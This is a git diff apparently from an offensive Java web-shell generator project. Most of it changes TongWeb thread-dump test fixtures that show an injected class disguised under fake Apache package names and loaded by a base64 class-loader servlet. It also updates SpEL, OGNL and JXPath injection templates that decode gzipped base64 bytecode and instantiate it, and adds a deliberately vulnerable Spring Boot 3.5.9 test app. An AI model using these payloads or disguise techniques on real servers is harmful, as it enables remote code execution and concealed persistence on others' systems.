- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-0.0.0.0-8080-2" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW-Server-Thread-2" #20 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-1" #76 daemon [RUNNABLE]
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6c35eff4
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"TW-0.0.0.0-8080-10" #79 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at org.apache.commons.lang.wYwFB.ErrorHandler.toString(BasicInfoPrinter.java:26)
+ at org.apache.http.client.XrRHt.ErrorCwgltHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2994)
at com.tongweb.server.connector.CoyoteWriter.print(CoyoteWriter.java:237)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.tongweb.server.core.ApplicationFilterChain.enterApp(ApplicationFilterChain.java:365)
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196)
+ at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161)
at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:32)
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196)
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161)
- at EmptyFilter.doFilter(EmptyFilter.java:21)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196)
+ at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196)
at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161)
at com.tongweb.server.core.StandardWrapperValve.invoke(StandardWrapperValve.java:146)
@@ -605,41 +681,21 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-9060-BlockPoller" #31 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295)
-
-"TW-LogWriting" #17 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source)
-
-"TW-periodic-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-0.0.0.0-9060-5" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d6c408c
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
-
-"TW-Server-Thread-2" #20 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-Server-Thread-3" #21 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -651,31 +707,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"main" #1 [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.server.core.StandardServer.await(StandardServer.java:510)
- at com.tongweb.main.TongWeb.await(TongWeb.java:466)
- at com.tongweb.main.TongWeb.start(TongWeb.java:430)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at com.tongweb.main.TongWebMain.main(Unknown Source)
-
-"TW-Server-Scheduled-1" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"TW-0.0.0.0-9060-1" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b
+"TW-0.0.0.0-8080-6" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -689,7 +721,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-7" #25 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-Server-Thread-8" #26 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -701,31 +733,46 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-9" #27 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-0.0.0.0-9060-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-8" #26 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"main" #1 [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.server.core.StandardServer.await(StandardServer.java:510)
+ at com.tongweb.main.TongWeb.await(TongWeb.java:466)
+ at com.tongweb.main.TongWeb.start(TongWeb.java:430)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.main.TongWebMain.main(Unknown Source)
+
+"TW-periodic-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-0.0.0.0-9060-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -739,19 +786,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-3" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"TW-Server-Scheduled-4" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-Server-Scheduled-1" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -763,19 +798,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-Console-Thread-1" #93 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"TW-periodic-8" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-periodic-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -788,27 +811,25 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-Server-Scheduled-5" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Scheduled-6" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87
+"TW-Server-Thread-7" #25 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
@@ -820,6 +841,8 @@ ThreadStacks:
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
com.tongweb.coyote.AbstractProcessorLight
com.tongweb.coyote.AbstractProtocol$ConnectionHandler
com.tongweb.coyote.http11.Http11Processor
@@ -848,4 +871,4 @@ com.tongweb.web.util.net.SocketProcessorBase
com.tongweb.web.util.threads.TaskQueue
com.tongweb.web.util.threads.TaskThread$WrappingRunnable
com.tongweb.web.websocket.server.WsFilter
-org.apache.commons.lang.wYwFB.ErrorHandler
+org.apache.http.client.XrRHt.ErrorCwgltHandler
diff --git a/mise.toml b/mise.toml
new file mode 100644
index 00000000..a4527e78
--- /dev/null
+++ b/mise.toml
@@ -0,0 +1,2 @@
+[tools]
+java = "temurin-17.0.17+10"
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java
index 39d6eea2..20650255 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java
@@ -11,7 +11,7 @@
* @since 2024/12/13
*/
public class JXPathSpringGzipJDK17Packer implements Packer {
- String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
+ String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
@Override
public String pack(ClassPackerConfig config) {
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java
index 359db4c1..24465adf 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java
@@ -12,7 +12,7 @@
* @since 2025/7/7
*/
public class OGNLSpringGzipJDK17Packer implements Packer {
- String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
+ String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
@Override
@SneakyThrows
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java
index 8b6f47cb..caf5ea8a 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java
@@ -9,7 +9,7 @@
* @since 2024/12/13
*/
public class SpELSpringGzipJDK17Packer implements Packer {
- String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
+ String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
diff --git a/settings.gradle.kts b/settings.gradle.kts
index 8673ebbd..b7dc9a8d 100644
--- a/settings.gradle.kts
+++ b/settings.gradle.kts
@@ -37,12 +37,13 @@ include("vul:vul-webapp")
include("vul:vul-webapp-jakarta")
include("vul:vul-webapp-expression")
include("vul:vul-webapp-deserialize")
-include("vul:vul-struct2")
+include("vul:vul-struts2")
include("vul:vul-springboot1")
include("vul:vul-springboot2")
include("vul:vul-springboot2-jetty")
include("vul:vul-springboot2-undertow")
include("vul:vul-springboot3")
+include("vul:vul-springboot359")
include("vul:vul-springboot2-webflux")
include("vul:vul-springboot3-webflux")
include("vul:vul-playframework")
diff --git a/vul/vul-springboot359/Dockerfile b/vul/vul-springboot359/Dockerfile
new file mode 100644
index 00000000..3e9b079b
--- /dev/null
+++ b/vul/vul-springboot359/Dockerfile
@@ -0,0 +1,8 @@
+FROM eclipse-temurin:17.0.17_10-jdk
+WORKDIR /app
+
+COPY build/libs/vul-springboot3.jar /app/app.jar
+
+EXPOSE 8080
+
+ENTRYPOINT java $JAVA_OPTS -jar app.jar
\ No newline at end of file
diff --git a/vul/vul-springboot359/build.gradle.kts b/vul/vul-springboot359/build.gradle.kts
new file mode 100644
index 00000000..23166369
--- /dev/null
+++ b/vul/vul-springboot359/build.gradle.kts
@@ -0,0 +1,29 @@
+plugins {
+ id("java")
+ id("war")
+ id("org.springframework.boot") version "3.5.9"
+ id("io.spring.dependency-management") version "1.1.7"
+}
+
+java {
+ toolchain {
+ languageVersion = JavaLanguageVersion.of(17)
+ }
+}
+
+dependencies {
+ implementation("org.springframework.boot:spring-boot-starter-web")
+ providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
+ testImplementation("org.springframework.boot:spring-boot-starter-test")
+ testImplementation("org.junit.jupiter:junit-jupiter-api")
+ testImplementation("org.junit.jupiter:junit-jupiter")
+ testRuntimeOnly("org.junit.platform:junit-platform-launcher")
+ runtimeOnly("com.h2database:h2")
+ implementation("ognl:ognl:2.7.3")
+ implementation("commons-jxpath:commons-jxpath:1.3")
+ implementation("commons-beanutils:commons-beanutils:1.9.3")
+}
+
+tasks.test {
+ useJUnitPlatform()
+}
\ No newline at end of file
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java
new file mode 100644
index 00000000..d52ed2ef
--- /dev/null
+++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java
@@ -0,0 +1,10 @@
+package com.reajason.javaweb.vul.springboot3;
+
+public class ClassDefiner extends ClassLoader {
+ private ClassDefiner() {
+ }
+
+ public static Class> defineClass(byte[] code) {
+ return new ClassDefiner().defineClass(null, code, 0, code.length);
+ }
+}
\ No newline at end of file
diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java
new file mode 100644
index 00000000..4c06ba9e
--- /dev/null
